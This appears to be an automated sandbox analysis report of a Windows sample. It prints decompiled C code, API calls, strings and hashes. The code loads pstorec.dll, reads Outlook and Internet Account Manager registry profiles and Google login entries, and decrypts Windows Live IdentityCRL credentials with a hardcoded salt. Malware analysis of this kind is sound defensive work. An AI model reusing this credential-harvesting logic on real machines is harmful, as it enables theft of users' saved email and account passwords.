							EnumResourceTypesA( *0x417b94, E0040F402, 0); // executed
							__eflags =  *0x418110 - 0x4695399a;
							if( *0x418110 == 0x4695399a) {
								__eflags =  *((intOrPtr*)(_v12 + 0x30)) - 1;
								if(__eflags <= 0) {
									L13:
									__imp__CoInitialize(_t101);
									E0040B84C(_t96,  &_v908);
									__eflags = _v608 - 3;
									if(_v608 != 3) {
										_push(5);
									} else {
										_push(3);
									}
									ShowWindow(_v644, ??);
									UpdateWindow(_v644);
									_v620 = LoadAcceleratorsA( *0x417b94, 0x67);
									E0040AEB7( &_v908);
									_t69 = GetMessageA( &_v936, _t101, _t101, _t101);
									__eflags = _t69;
									if(_t69 == 0) {
										L24:
										__imp__CoUninitialize();
										goto L25;
									} else {
										do {
											_t76 = TranslateAcceleratorA(_v644, _v620,  &_v936);
											__eflags = _t76;
											if(_t76 != 0) {
												goto L23;
											}
											_t79 =  *0x4181ac;
											__eflags = _t79 - _t101;
											if(_t79 == _t101) {
												L21:
												_t81 = IsDialogMessageA(_v644,  &_v936);
												__eflags = _t81;
												if(_t81 == 0) {
													TranslateMessage( &_v936);
													DispatchMessageA( &_v936);
												}
												goto L23;
											}
											_t86 = IsDialogMessageA(_t79,  &_v936);
											__eflags = _t86;
											if(_t86 != 0) {
												goto L23;
											}
											goto L21;
											L23:
											_t78 = GetMessageA( &_v936, _t101, _t101, _t101);
											__eflags = _t78;
										} while (_t78 != 0);
										goto L24;
									}
								}
								_t87 = E0040BAB7( &_v904, __eflags);
								__eflags = _t87;
								if(_t87 == 0) {
									_t101 = 0;
									__eflags = 0;
									goto L13;
								}
								_push(_v28);
								_v904 = 0x41457c;
								L00412096();
								__eflags = _v304;
								if(_v304 != 0) {
									DeleteObject(_v304);
									_v308 = _v308 & 0x00000000;
								}
								goto L27;
							}
							MessageBoxA(0, "Failed to load the executable file !", "Error", 0x30);
							goto L25;
						}
						RegDeleteKeyA(0x80000001, 0x41344f);
						goto L25;
					} else {
						 *0x418488 = 0x417b28;
						E004084D8();
						L25:
						_push(_v32);
						_v908 = 0x41457c;
						L00412096();
						__eflags = _v308 - _t101;
						if(_v308 != _t101) {
							DeleteObject(_v308);
							_v312 = _t101;
						}
						L27:
						_v908 = 0x41346c;
						E00406A7D( &_v988);
						E00404638( &_v956);
						E00406A7D( &_v988);
						_t73 = 0;
						__eflags = 0;
						goto L28;
					}
				} else {
					_t73 = _t49 + 1;
					L28:
					return _t73;
				}
			}

0x0040bb8d
0x0040bb9f
0x0040bba4
0x0040bbab
0x0040bbb3
0x0040bbbc
0x0040bbc1
0x0040bbc7
0x0040bbcf
0x0040bbd3
0x0040bbd7
0x0040bbdb
0x0040bbdf
0x0040bbec
0x0040bbf3
0x0040bc04
0x0040bc09
0x0040bc0b
0x0040bc21
0x0040bc32
0x0040bc37
0x0040bc39
0x0040bc5c
0x0040bc66
0x0040bc6c
0x0040bc76
0x0040bc97
0x0040bc9b
0x0040bce9
0x0040bcea
0x0040bcf5
0x0040bcfa
0x0040bd02
0x0040bd08
0x0040bd04
0x0040bd04
0x0040bd04
0x0040bd11
0x0040bd1e
0x0040bd32
0x0040bd3d
0x0040bd50
0x0040bd52
0x0040bd54
0x0040bdc4
0x0040bdc4
0x00000000
0x0040bd56
0x0040bd5c
0x0040bd6f
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x0040bd7e
0x0040bd80
0x0040bd8e
0x0040bd9a
0x0040bd9c
0x0040bd9e
0x0040bda5
0x0040bdb0
0x0040bdb0
0x00000000
0x0040bd9e
0x0040bd88
0x0040bd8a
0x0040bd8c
0x00000000
0x00000000
0x00000000
0x0040bdb6
0x0040bdbe
0x0040bdc0
0x0040bdc0
0x00000000
0x0040bd5c
0x0040bd54
0x0040bca1
0x0040bca6
0x0040bca8
0x0040bce7
0x0040bce7
0x00000000
0x0040bce7
0x0040bcaa
0x0040bcb1
0x0040bcb9
0x0040bcbe
0x0040bcc7
0x0040bcd4
0x0040bcda
0x0040bcda
0x00000000
0x0040bcc7
0x0040bc85
0x00000000
0x0040bc85
0x0040bc45
0x00000000
0x0040bc0d
0x0040bc0d
0x0040bc17
0x0040bdca
0x0040bdca
0x0040bdd1
0x0040bdd9
0x0040bdde
0x0040bde6
0x0040bdef
0x0040bdf5
0x0040bdf5
0x0040bdfc
0x0040be00
0x0040be08
0x0040be11
0x0040be1a
0x0040be1f
0x0040be1f
0x00000000
0x0040be1f
0x0040bbad
0x0040bbad
0x0040be21
0x0040be27
0x0040be27

APIs

Part of subcall function 00404841: LoadLibraryA.KERNEL32(comctl32.dll,75144DE0,?,00000000,?,?,?,0040BBA9,75144DE0), ref: 00404860
Part of subcall function 00404841: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404872
Part of subcall function 00404841: FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,0040BBA9,75144DE0), ref: 00404886
Part of subcall function 00404841: MessageBoxA.USER32 ref: 004048B1

??3@YAXPAX@Z.MSVCRT ref: 0040BDD9
DeleteObject.GDI32(?), ref: 0040BDEF

Strings

Failed to load the executable file !, xrefs: 0040BC7F
Error, xrefs: 0040BC7A
, xrefs: 0040BBC7
/savelangfile, xrefs: 0040BBFF
/deleteregkey, xrefs: 0040BC2D

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Library$??3@AddressDeleteFreeLoadMessageObjectProc
String ID: $/deleteregkey$/savelangfile$Error$Failed to load the executable file !
API String ID: 745651260-375988210
Opcode ID: e1159f30e00c98f05f2d67921a14677ae0d548148ce7ab1f7a7c6c893690e61f
Instruction ID: 8d811f0c9aed7e5f9a0d70865fafe098279c62815184764300974fb8b6b83255
Opcode Fuzzy Hash: e1159f30e00c98f05f2d67921a14677ae0d548148ce7ab1f7a7c6c893690e61f
Instruction Fuzzy Hash: A8618C71508345ABC720AFA1DC49A9BBBF9FF84705F00483FF545A22A0DB789904CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00403C17, Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 184
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00403C17(signed int __ecx, void* __eflags, void* __fp0) {
				char _v8;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t42;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t62;
				void* _t64;
				void* _t66;
				char* _t79;
				void* _t82;
				_Unknown_base(*)()* _t93;
				void* _t94;
				void* _t96;
				void* _t104;
				signed int _t106;
				char* _t114;
				_Unknown_base(*)()* _t130;
				void* _t142;

				_t142 = __fp0;
				_t98 = __ecx;
				_push(__ecx);
				_t106 = __ecx;
				_t96 = __ecx + 0x87c;
				 *(_t96 + 0xc) =  *(_t96 + 0xc) & 0x00000000;
				E0040EF05(_t96);
				_t42 = LoadLibraryA("pstorec.dll"); // executed
				 *(_t96 + 8) = _t42;
				if(_t42 == 0) {
					L4:
					E0040EF05(_t96);
				} else {
					_t93 = GetProcAddress(_t42, "PStoreCreateInstance");
					_t130 = _t93;
					_t98 = 0 | _t130 != 0x00000000;
					 *(_t96 + 0x10) = _t93;
					if(_t130 != 0) {
						goto L4;
					} else {
						_t98 = _t96 + 4;
						_t94 =  *_t93(_t96 + 4, 0, 0, 0);
						_t132 = _t94;
						if(_t94 != 0) {
							goto L4;
						} else {
							 *(_t96 + 0xc) = 1;
						}
					}
				}
				E004047AA(_t106 + 0x890, _t132);
				E004036A6(_t98, _t106, _t106 + 0x890, _t142, L"www.google.com/Please log in to your Gmail account");
				E004036A6(_t98, _t106, _t106 + 0x890, _t142, L"www.google.com:443/Please log in to your Gmail account");
				E004036A6(_t98, _t106, _t106 + 0x890, _t142, L"www.google.com/Please log in to your Google Account");
				E004036A6(_t98, _t106, _t106 + 0x890, _t142, L"www.google.com:443/Please log in to your Google Account");
				_push(_t106 + 0x858); // executed
				E004076B7(_t98, _t132); // executed
				E00407306(_t98, _t106 + 0x86c); // executed
				E004077C5(_t132, _t106 + 0x878); // executed
				_t56 = E0040F1B0(0x80000001, "Software\\Microsoft\\Internet Account Manager\\Accounts",  &_v8);
				_t133 = _t56;
				if(_t56 == 0) {
					E00402B92(_t98,  &_v8, _t133, _t142, _t106, 1);
				}
				_t58 = E0040F1B0(0x80000001, "Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts",  &_v8);
				_t134 = _t58;
				if(_t58 == 0) {
					E00402B92(_t98,  &_v8, _t134, _t142, _t106, 5);
				}
				E00402C1E(_t98, _t142, _t106); // executed
				 *((intOrPtr*)(_t106 + 0xb1c)) = 6;
				_t60 = E00406282();
				_push( &_v8);
				if( *((intOrPtr*)(_t60 + 0x10)) != 1) {
					_push("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles");
				} else {
					_push("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles");
				}
				_push(0x80000001);
				_t62 = E0040F1B0();
				_t136 = _t62;
				if(_t62 != 0) {
					 *((char*)(_t106 + 0xa9c)) = 0;
				} else {
					E00402AE3( &_v8, _t136, _t142, _t106);
				}
				 *((intOrPtr*)(_t106 + 0xb1c)) = 0xf;
				_t64 = E0040F1B0(0x80000001, "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles",  &_v8);
				_t137 = _t64;
				if(_t64 != 0) {
					 *((char*)(_t106 + 0xa9c)) = 0;
				} else {
					E00402AE3( &_v8, _t137, _t142, _t106);
				}
				 *((intOrPtr*)(_t106 + 0xb1c)) = 0x10;
				_t66 = E0040F1B0(0x80000001, "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles",  &_v8);
				_t138 = _t66;
				if(_t66 != 0) {
					 *((char*)(_t106 + 0xa9c)) = 0;
				} else {
					E00402AE3( &_v8, _t138, _t142, _t106);
				}
				E0040EF1C(_t96);
				E004047FB(_t106 + 0x890);
				E00402F9C(_t106, _t98, _t142, 0x80000001); // executed
				E00402F9C(_t106, _t98, _t142, 0x80000002); // executed
				E00403278(_t142, _t106);
				E004034A5(_t98, _t138, _t142, _t106); // executed
				E00403946(_t138, _t142, _t106); // executed
				E0040378B(_t98, _t106, _t142, _t106); // executed
				_t79 = _t106 + 0xb20;
				_t139 =  *_t79;
				if( *_t79 != 0) {
					 *((intOrPtr*)(_t106 + 0xf34)) = 0xa;
					E0040D9D8(_t106 + 0x1c8, _t104, _t139, _t79, 0);
				}
				_t114 = _t106 + 0xc25;
				_t140 =  *_t114;
				if( *_t114 != 0) {
					strcpy(_t106 + 0x52a, _t106 + 0xe2f);
					 *((intOrPtr*)(_t106 + 0xf34)) = 0xb;
					E0040D9D8(_t106 + 0x1c8, _t104, _t140, _t114, 0);
				}
				_push(_t106 + 0x640); // executed
				E0040E057(_t140); // executed
				E0040DEC3(_t106 + 0x640);
				_t82 = E004113C4(_t106 + 0x870, _t106 + 0x870); // executed
				return _t82;
			}

0x00403c17
0x00403c17
0x00403c1a
0x00403c1e
0x00403c20
0x00403c26
0x00403c2c
0x00403c36
0x00403c40
0x00403c43
0x00403c75
0x00403c77
0x00403c45
0x00403c4b
0x00403c53
0x00403c55
0x00403c58
0x00403c5d
0x00000000
0x00403c5f
0x00403c62
0x00403c66
0x00403c68
0x00403c6a
0x00000000
0x00403c6c
0x00403c6c
0x00403c6c
0x00403c6a
0x00403c5d
0x00403c82
0x00403c8c
0x00403c96
0x00403ca0
0x00403caa
0x00403cb5
0x00403cb6
0x00403cc2
0x00403cce
0x00403ce1
0x00403ce9
0x00403ceb
0x00403cf3
0x00403cf3
0x00403d06
0x00403d0e
0x00403d10
0x00403d18
0x00403d18
0x00403d1e
0x00403d23
0x00403d2d
0x00403d39
0x00403d3a
0x00403d43
0x00403d3c
0x00403d3c
0x00403d3c
0x00403d48
0x00403d4d
0x00403d55
0x00403d57
0x00403d64
0x00403d59
0x00403d5d
0x00403d5d
0x00403d79
0x00403d83
0x00403d8b
0x00403d8d
0x00403d9a
0x00403d8f
0x00403d93
0x00403d93
0x00403daf
0x00403db9
0x00403dc1
0x00403dc3
0x00403dd0
0x00403dc5
0x00403dc9
0x00403dc9
0x00403dd9
0x00403de4
0x00403df0
0x00403dfc
0x00403e02
0x00403e08
0x00403e0e
0x00403e14
0x00403e19
0x00403e1f
0x00403e22
0x00403e2d
0x00403e37
0x00403e37
0x00403e3c
0x00403e42
0x00403e45
0x00403e55
0x00403e65
0x00403e6f
0x00403e6f
0x00403e7a
0x00403e7b
0x00403e81
0x00403e8d
0x00403e96

APIs

Part of subcall function 0040EF05: FreeLibrary.KERNELBASE(?,0040EF39,?,?,?,?,?,?,00404221), ref: 0040EF11

LoadLibraryA.KERNELBASE(pstorec.dll), ref: 00403C36
GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 00403C4B
strcpy.MSVCRT(?,?), ref: 00403E55

Strings

Software\Microsoft\Office\16.0\Outlook\Profiles, xrefs: 00403DA5
www.google.com:443/Please log in to your Google Account, xrefs: 00403CA5
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles, xrefs: 00403D43
PStoreCreateInstance, xrefs: 00403C45
www.google.com/Please log in to your Google Account, xrefs: 00403C9B
Software\Microsoft\Office\15.0\Outlook\Profiles, xrefs: 00403D6F
Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 00403CFC
www.google.com:443/Please log in to your Gmail account, xrefs: 00403C91
pstorec.dll, xrefs: 00403C31
Software\Microsoft\Windows Messaging Subsystem\Profiles, xrefs: 00403D3C
Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00403CD7
www.google.com/Please log in to your Gmail account, xrefs: 00403C87

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Library$AddressFreeLoadProcstrcpy
String ID: PStoreCreateInstance$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\15.0\Outlook\Profiles$Software\Microsoft\Office\16.0\Outlook\Profiles$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Software\Microsoft\Windows Messaging Subsystem\Profiles$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles$pstorec.dll$www.google.com/Please log in to your Gmail account$www.google.com/Please log in to your Google Account$www.google.com:443/Please log in to your Gmail account$www.google.com:443/Please log in to your Google Account
API String ID: 2884822230-317895162
Opcode ID: edd8b6eb8bcfee5f27bfe3d894378078f305261ef97242b4e9c725312b665777
Instruction ID: c79aa312a60a802310c0dbcdda9968b0b76b201639e98401828b305836cf62c0
Opcode Fuzzy Hash: edd8b6eb8bcfee5f27bfe3d894378078f305261ef97242b4e9c725312b665777
Instruction Fuzzy Hash: BE51C472604601BAD710AF72CC46FDABA6CAF01709F14017FF905B61C2EB7DAB548A99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E057, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 101
registryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040E057(void* __eflags, void* _a4, int _a8, int _a12, void* _a16, char _a20, void* _a24, int _a28, void* _a32, int _a36, void _a40, void _a104) {
				void* _v0;
				void* __esi;
				long _t34;
				long _t36;
				long _t40;
				void* _t64;
				void* _t68;
				int _t73;

				E00412360(0x102c, _t64);
				_t34 = RegOpenKeyExA(0x80000001, "Software\\Microsoft\\IdentityCRL", 0, 0x20019,  &_v0); // executed
				if(_t34 != 0) {
					L10:
					return _t34;
				}
				_t36 = RegOpenKeyExA(_v0, "Dynamic Salt", 0, 0x20019,  &_a4); // executed
				if(_t36 != 0) {
					L9:
					_t34 = RegCloseKey(_v0); // executed
					goto L10;
				}
				_a8 = 0x1000;
				_t40 = RegQueryValueExA(_a4, "Value", 0,  &_a36,  &_a40,  &_a8);
				_t81 = _t40;
				if(_t40 == 0) {
					_t63 = _a4 + 0xc;
					if(E004047AA(_a4 + 0xc, _t81) != 0) {
						_a20 = _a8;
						_a24 =  &_a40;
						_t73 = 0x40;
						_t68 = L"%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd";
						_a28 = _t73;
						_a32 = _t68;
						if(E0040481B(_t63,  &_a20,  &_a28,  &_a12) != 0) {
							if(_a12 < 0x400) {
								memcpy( &_a40, _t68, _t73);
								memcpy( &_a104, _a16, _a12);
								E0040DD59(_t64, _a12 + _t73, _a4,  &_a40, _a12 + _t73, _v0);
							}
							LocalFree(_a16);
						}
					}
				}
				RegCloseKey(_a4);
				goto L9;
			}

0x0040e062
0x0040e088
0x0040e08c
0x0040e18e
0x0040e194
0x0040e194
0x0040e0a2
0x0040e0a6
0x0040e184
0x0040e188
0x00000000
0x0040e188
0x0040e0c5
0x0040e0cd
0x0040e0d3
0x0040e0d5
0x0040e0de
0x0040e0ea
0x0040e0f4
0x0040e0fe
0x0040e102
0x0040e112
0x0040e119
0x0040e11d
0x0040e128
0x0040e132
0x0040e13b
0x0040e150
0x0040e16b
0x0040e16b
0x0040e174
0x0040e174
0x0040e128
0x0040e0ea
0x0040e17e
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000001,Software\Microsoft\IdentityCRL,00000000,00020019,?,?,?,?,?,00403E80,?), ref: 0040E088
RegOpenKeyExA.KERNELBASE(?,Dynamic Salt,00000000,00020019,?,?,?,?,?,00403E80,?), ref: 0040E0A2
RegQueryValueExA.ADVAPI32(?,Value,00000000,?,?,?,?,?,?,?,00403E80,?), ref: 0040E0CD
RegCloseKey.ADVAPI32(?,?,?,?,?,00403E80,?), ref: 0040E17E

Part of subcall function 004047AA: LoadLibraryA.KERNELBASE(?,0040DC6C,80000001,7554F420), ref: 004047B2
Part of subcall function 004047AA: GetProcAddress.KERNEL32(00000000,?), ref: 004047CA

memcpy.MSVCRT ref: 0040E13B
memcpy.MSVCRT ref: 0040E150

Part of subcall function 0040DD59: RegOpenKeyExA.ADVAPI32(p@,Creds,00000000,00020019,p@,%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd,00000040,?,?,0040E170,?,?,?,?), ref: 0040DD83
Part of subcall function 0040DD59: memset.MSVCRT ref: 0040DDA1
Part of subcall function 0040DD59: RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040DEA5
Part of subcall function 0040DD59: RegCloseKey.ADVAPI32(?), ref: 0040DEB6

LocalFree.KERNEL32(?,?,00001000,?,?,?,?,?,00403E80,?), ref: 0040E174
RegCloseKey.KERNELBASE(?,?,?,?,?,00403E80,?), ref: 0040E188

Strings

Dynamic Salt, xrefs: 0040E099
%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd, xrefs: 0040E112, 0040E139
Value, xrefs: 0040E0BC
Software\Microsoft\IdentityCRL, xrefs: 0040E07E

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseOpen$memcpy$AddressEnumFreeLibraryLoadLocalProcQueryValuememset
String ID: %GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd$Dynamic Salt$Software\Microsoft\IdentityCRL$Value
API String ID: 2768085393-1693574875
Opcode ID: 7df82dd4f7763ce5193550669c390a20838b5133b5989fa9b4096a2fc0febe08
Instruction ID: a1b69f5673053fc040be98c60ebfc88e8990dfc0172556f981ec686efddd513d
Opcode Fuzzy Hash: 7df82dd4f7763ce5193550669c390a20838b5133b5989fa9b4096a2fc0febe08
Instruction Fuzzy Hash: 99313CB2504305AFD700DF51DC40E9BBBECEF88798F00493AFA94E2160D775DA598B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041211A, Relevance: 18.1, APIs: 12, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 82%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t33;
				intOrPtr* _t35;
				intOrPtr* _t36;
				void* _t39;
				void _t41;
				intOrPtr _t48;
				signed int _t50;
				int _t52;
				intOrPtr _t55;
				signed int _t56;
				signed int _t57;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr* _t65;
				intOrPtr* _t69;
				int _t70;
				void* _t71;
				intOrPtr _t79;

				_push(0x70);
				_push(0x4133e0);
				E00412308(__ebx, __edi, __esi);
				_t33 = GetModuleHandleA(0);
				if(_t33->i != 0x5a4d) {
					L4:
					 *(_t71 - 0x1c) = 0;
				} else {
					_t65 =  *((intOrPtr*)(_t33 + 0x3c)) + _t33;
					if( *_t65 != 0x4550) {
						goto L4;
					} else {
						_t56 =  *(_t65 + 0x18) & 0x0000ffff;
						if(_t56 == 0x10b) {
							__eflags =  *((intOrPtr*)(_t65 + 0x74)) - 0xe;
							if( *((intOrPtr*)(_t65 + 0x74)) <= 0xe) {
								goto L4;
							} else {
								_t57 = 0;
								__eflags =  *(_t65 + 0xe8);
								goto L9;
							}
						} else {
							if(_t56 == 0x20b) {
								__eflags =  *((intOrPtr*)(_t65 + 0x84)) - 0xe;
								if( *((intOrPtr*)(_t65 + 0x84)) <= 0xe) {
									goto L4;
								} else {
									_t57 = 0;
									__eflags =  *(_t65 + 0xf8);
									L9:
									_t9 = __eflags != 0;
									__eflags = _t9;
									 *(_t71 - 0x1c) = _t57 & 0xffffff00 | _t9;
								}
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t71 - 4) = 0;
				__set_app_type(2);
				 *0x418b6c =  *0x418b6c | 0xffffffff;
				 *0x418b70 =  *0x418b70 | 0xffffffff;
				_t35 = __p__fmode();
				_t62 =  *0x417b8c; // 0x0
				 *_t35 = _t62;
				_t36 = __p__commode();
				_t63 =  *0x417b88; // 0x0
				 *_t36 = _t63;
				 *0x418b68 =  *_adjust_fdiv;
				_t39 = E00412304();
				_t79 =  *0x417000; // 0x1
				if(_t79 == 0) {
					__setusermatherr(E00412304);
					_pop(_t63);
				}
				E004122F2(_t39);
				_push(0x4133b4);
				_push(0x4133b0);
				L004122EC();
				_t41 =  *0x417b84; // 0x0
				 *(_t71 - 0x20) = _t41;
				 *(_t71 - 0x30) = __getmainargs(_t71 - 0x2c, _t71 - 0x28, _t71 - 0x24,  *0x417b80, _t71 - 0x20);
				_push(0x4133ac);
				_push(0x413398); // executed
				L004122EC(); // executed
				_t69 =  *_acmdln;
				 *((intOrPtr*)(_t71 - 0x34)) = _t69;
				if( *_t69 != 0x22) {
					while(1) {
						__eflags =  *_t69 - 0x20;
						if(__eflags <= 0) {
							goto L17;
						}
						_t69 = _t69 + 1;
						 *((intOrPtr*)(_t71 - 0x34)) = _t69;
					}
				} else {
					do {
						_t69 = _t69 + 1;
						 *((intOrPtr*)(_t71 - 0x34)) = _t69;
						_t55 =  *_t69;
					} while (_t55 != 0 && _t55 != 0x22);
					if( *_t69 == 0x22) {
						L16:
						_t69 = _t69 + 1;
						 *((intOrPtr*)(_t71 - 0x34)) = _t69;
					}
				}
				L17:
				_t48 =  *_t69;
				if(_t48 != 0 && _t48 <= 0x20) {
					goto L16;
				}
				 *(_t71 - 0x4c) = 0;
				GetStartupInfoA(_t71 - 0x78);
				_t87 =  *(_t71 - 0x4c) & 0x00000001;
				if(( *(_t71 - 0x4c) & 0x00000001) == 0) {
					_t50 = 0xa;
				} else {
					_t50 =  *(_t71 - 0x48) & 0x0000ffff;
				}
				_t52 = E0040BB8D(_t63, _t87, GetModuleHandleA(0), 0, _t69, _t50); // executed
				_t70 = _t52;
				 *(_t71 - 0x7c) = _t70;
				if( *(_t71 - 0x1c) == 0) {
					exit(_t70); // executed
				}
				__imp___cexit();
				 *(_t71 - 4) =  *(_t71 - 4) | 0xffffffff;
				return E00412341(_t70);
			}

0x0041211a
0x0041211c
0x00412121
0x0041212f
0x00412136
0x00412157
0x00412157
0x00412138
0x0041213b
0x00412143
0x00000000
0x00412145
0x00412145
0x0041214e
0x0041216f
0x00412173
0x00000000
0x00412175
0x00412175
0x00412177
0x00000000
0x00412177
0x00412150
0x00412155
0x0041215c
0x00412163
0x00000000
0x00412165
0x00412165
0x00412167
0x0041217d
0x0041217d
0x0041217d
0x00412180
0x00412180
0x00000000
0x00000000
0x00000000
0x00412155
0x0041214e
0x00412143
0x00412183
0x00412188
0x0041218f
0x00412196
0x0041219d
0x004121a3
0x004121a9
0x004121ab
0x004121b1
0x004121b7
0x004121c0
0x004121c5
0x004121ca
0x004121d0
0x004121d7
0x004121dd
0x004121dd
0x004121de
0x004121e3
0x004121e8
0x004121ed
0x004121f2
0x004121f7
0x00412216
0x00412219
0x0041221e
0x00412223
0x00412230
0x00412232
0x00412238
0x00412274
0x00412274
0x00412277
0x00000000
0x00000000
0x00412279
0x0041227a
0x0041227a
0x0041223a
0x0041223a
0x0041223a
0x0041223b
0x0041223e
0x00412240
0x0041224b
0x0041224d
0x0041224d
0x0041224e
0x0041224e
0x0041224b
0x00412251
0x00412251
0x00412255
0x00000000
0x00000000
0x0041225b
0x00412262
0x00412268
0x0041226c
0x00412281
0x0041226e
0x0041226e
0x0041226e
0x00412289
0x0041228e
0x00412290
0x00412296
0x00412299
0x00412299
0x0041229f
0x004122d4
0x004122df

APIs

GetModuleHandleA.KERNEL32(00000000,004133E0,00000070), ref: 0041212F
__set_app_type.MSVCRT ref: 00412188
__p__fmode.MSVCRT ref: 0041219D
__p__commode.MSVCRT ref: 004121AB
__setusermatherr.MSVCRT ref: 004121D7
_initterm.MSVCRT ref: 004121ED
__getmainargs.MSVCRT ref: 00412210
_initterm.MSVCRT ref: 00412223
GetStartupInfoA.KERNEL32(?), ref: 00412262
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00412286
exit.KERNELBASE ref: 00412299
_cexit.MSVCRT ref: 0041229F

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: HandleModule_initterm$InfoStartup__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
String ID:
API String ID: 3662548030-0
Opcode ID: d9ca54d925000c8541e90f8f0bbdefa6f9bdc4c7a3278ea723e4384f5ba1aea6
Instruction ID: c2e845550ef1ad64eb6aea8f75856b2ed0c0391cefdfa0dcc66b3553e8bd0076
Opcode Fuzzy Hash: d9ca54d925000c8541e90f8f0bbdefa6f9bdc4c7a3278ea723e4384f5ba1aea6
Instruction Fuzzy Hash: 46419070D04249EFCB209FA4D9496ED7BB4EB09315F2081BBE861D7291D7B859D2CB1C

Uniqueness

Uniqueness Score: -1.00%

Function 004113C4, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004113C4(void* __eflags, intOrPtr _a4) {
				void _v275;
				char _v276;
				char _v532;
				void _v539;
				char _v540;
				void _v795;
				char _v796;
				void* __edi;
				void* __esi;
				int _t44;
				char* _t46;
				char* _t48;
				void* _t64;
				intOrPtr _t65;
				void* _t66;
				signed int _t68;
				void* _t74;
				void* _t75;

				_t75 = __eflags;
				_v796 = 0;
				memset( &_v795, 0, 0x104);
				_t64 = 0x1c;
				_t61 =  &_v796;
				 *((intOrPtr*)(_a4 + 4)) = 1;
				E0040F4CA( &_v796, _t64); // executed
				E00406763( &_v796, "\\Microsoft\\Windows Mail");
				_t65 = _a4;
				E004112EC(_t65, _t75, _t61); // executed
				 *((intOrPtr*)(_t65 + 4)) = 2;
				_t66 = 0x1c;
				E0040F4CA(_t61, _t66);
				E00406763(_t61, "\\Microsoft\\Windows Live Mail");
				E004112EC(_a4, _t75, _t61); // executed
				_v276 = 0;
				memset( &_v275, 0, 0x104);
				_v540 = 0;
				memset( &_v539, 0, 0x104);
				E0040F232(_a4, 0x80000001, "Software\\Microsoft\\Windows Live Mail", "Store Root",  &_v276, 0x104); // executed
				_t74 = (_t68 & 0xfffffff8) - 0x31c + 0x38;
				ExpandEnvironmentStringsA( &_v276,  &_v540, 0x104);
				_t44 = strlen( &_v540);
				if(_t44 > 0) {
					_t48 = _t74 + _t44 + 0x117;
					if( *_t48 == 0x5c) {
						 *_t48 = 0;
					}
				}
				_push( &_v532);
				_t46 =  &_v796;
				_push(_t46);
				L00412072();
				_t78 = _t46;
				if(_t46 != 0) {
					_t46 = E004112EC(_a4, _t78,  &_v532); // executed
				}
				return _t46;
			}

0x004113c4
0x004113e0
0x004113e5
0x004113f2
0x004113f3
0x004113f7
0x004113fe
0x00411408
0x0041140d
0x00411416
0x0041141b
0x00411424
0x00411425
0x0041142f
0x0041143b
0x0041144b
0x00411453
0x00411466
0x0041146e
0x0041148e
0x00411493
0x004114a7
0x004114b5
0x004114bd
0x004114bf
0x004114c9
0x004114cb
0x004114cb
0x004114c9
0x004114d5
0x004114d6
0x004114da
0x004114db
0x004114e0
0x004114e4
0x004114f1
0x004114f1
0x004114fc

APIs

memset.MSVCRT ref: 004113E5

Part of subcall function 00406763: strlen.MSVCRT ref: 00406765
Part of subcall function 00406763: strlen.MSVCRT ref: 00406770
Part of subcall function 00406763: strcat.MSVCRT(00000000,0041140D,0000001C,0041140D,\Microsoft\Windows Mail,?,?,?), ref: 00406787

Part of subcall function 0040F4CA: memset.MSVCRT ref: 0040F51F
Part of subcall function 0040F4CA: RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,?,?,00000104), ref: 0040F588
Part of subcall function 0040F4CA: strcpy.MSVCRT(00000000,?,?,?,?,?,?,00000104), ref: 0040F596

memset.MSVCRT ref: 00411453
